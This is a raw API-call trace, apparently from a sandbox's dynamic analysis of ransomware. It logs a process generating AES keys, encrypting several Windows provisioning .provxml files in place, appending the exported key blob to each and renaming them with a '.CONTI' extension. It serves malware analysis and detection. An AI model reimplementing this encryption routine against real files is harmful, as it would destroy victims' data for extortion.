	[0110.130] ReadFile (in: hFile=0x3e0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2de, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2de, lpOverlapped=0x0) returned 1
	[0110.130] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2de, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2e0) returned 1
	[0110.130] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.130] WriteFile (in: hFile=0x3e0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.130] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.130] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b761c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b761c8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.131] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.131] CloseHandle (hObject=0x3e0) returned 1
	[0110.131] GetProcessHeap () returned 0x1720000
	[0110.131] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.131] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml"
	[0110.131] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.131] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.131] GetProcessHeap () returned 0x1720000
	[0110.131] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.131] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0110.131] GetProcessHeap () returned 0x1720000
	[0110.132] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6870850 | out: hHeap=0x1720000) returned 1
	[0110.132] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.132] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b76418 | out: phKey=0x6b76418*=0x6b7f538) returned 1
	[0110.132] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b7641c, pdwDataLen=0x54bfc14 | out: pbData=0x6b7641c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.132] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.133] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.133] GetLastError () returned 0x0
	[0110.133] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=806) returned 1
	[0110.133] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x326
	[0110.133] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.133] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.133] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.133] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.133] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b7641c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b7641c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.135] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.135] ReadFile (in: hFile=0x3e0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x326, lpOverlapped=0x0) returned 1
	[0110.135] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x326, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x330) returned 1
	[0110.135] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.135] WriteFile (in: hFile=0x3e0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x330, lpOverlapped=0x0) returned 1
	[0110.135] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.135] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b76410*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b76410*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.135] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.135] CloseHandle (hObject=0x3e0) returned 1
	[0110.135] GetProcessHeap () returned 0x1720000
	[0110.136] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.136] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml"
	[0110.136] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.136] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.136] GetProcessHeap () returned 0x1720000
	[0110.137] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.137] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0110.137] GetProcessHeap () returned 0x1720000
	[0110.137] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x68709b8 | out: hHeap=0x1720000) returned 1
	[0110.137] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.137] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b76660 | out: phKey=0x6b76660*=0x6b7f538) returned 1
	[0110.137] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b76664, pdwDataLen=0x54bfc14 | out: pbData=0x6b76664*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.137] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.138] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.138] GetLastError () returned 0x0
	[0110.138] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=779) returned 1
	[0110.138] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x30b
	[0110.138] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.138] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.138] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.138] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.138] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b76664*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b76664*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.483] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.483] ReadFile (in: hFile=0x3e0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x30b, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x30b, lpOverlapped=0x0) returned 1
	[0110.483] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x30b, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x310) returned 1
	[0110.483] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.483] WriteFile (in: hFile=0x3e0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x310, lpOverlapped=0x0) returned 1
	[0110.483] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.483] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b76658*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b76658*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.483] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.483] CloseHandle (hObject=0x3e0) returned 1
	[0110.483] GetProcessHeap () returned 0x1720000
	[0110.483] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.568] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml"
	[0110.568] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.568] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.569] GetProcessHeap () returned 0x1720000
	[0110.569] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.569] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0110.569] GetProcessHeap () returned 0x1720000
	[0110.569] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561158 | out: hHeap=0x1720000) returned 1
	[0110.569] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.569] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x65633a0 | out: phKey=0x65633a0*=0x17c8470) returned 1
	[0110.569] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x65633a4, pdwDataLen=0x54bfc14 | out: pbData=0x65633a4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.570] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.570] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.570] GetLastError () returned 0x0
	[0110.570] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=666) returned 1
	[0110.570] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x29a
	[0110.570] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.570] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.570] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.570] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.570] WriteFile (in: hFile=0x3dc, lpBuffer=0x65633a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x65633a4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.576] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.576] ReadFile (in: hFile=0x3dc, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x29a, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x29a, lpOverlapped=0x0) returned 1
	[0110.576] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x29a, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2a0) returned 1
	[0110.576] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.576] WriteFile (in: hFile=0x3dc, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2a0, lpOverlapped=0x0) returned 1
	[0110.576] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.576] WriteFile (in: hFile=0x3dc, lpBuffer=0x6563398*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6563398*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.576] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.576] CloseHandle (hObject=0x3dc) returned 1
	[0110.576] GetProcessHeap () returned 0x1720000
	[0110.577] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.577] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml"
	[0110.577] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.577] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.577] GetProcessHeap () returned 0x1720000
	[0110.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.577] CryptDestroyKey (hKey=0x17c8470) returned 1
